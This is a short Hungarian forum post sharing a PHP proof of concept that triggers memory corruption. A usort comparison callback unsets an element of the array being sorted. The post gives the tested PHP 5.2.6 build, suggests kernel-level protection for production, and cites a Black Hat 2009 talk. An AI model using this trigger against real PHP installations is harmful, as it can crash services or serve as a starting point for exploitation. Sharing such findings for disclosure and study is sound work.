PHP memory corruption


<?php
function usercompare($a, $b){
if(isset($GLOBALS['arr'][2])){
unset($GLOBALS['arr'][2]);
}
return 0;
}

$arr = array(1 => "a",
2 => "b",
3 => "c",

);
@usort($arr, "usercompare");
?>

Tesztelve: PHP 5.2.6-2ubuntu4.2 with Suhosin-Patch 0.9.6.2 (cli) (built: Apr 17 2009 14:44:11)
Éles rendszerre kernel szintű védelem is ajánlott :).

Innen: http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-Pos…

Hozzászólások

Nagyon érdekes volt a prezentáció, thx a linkért :)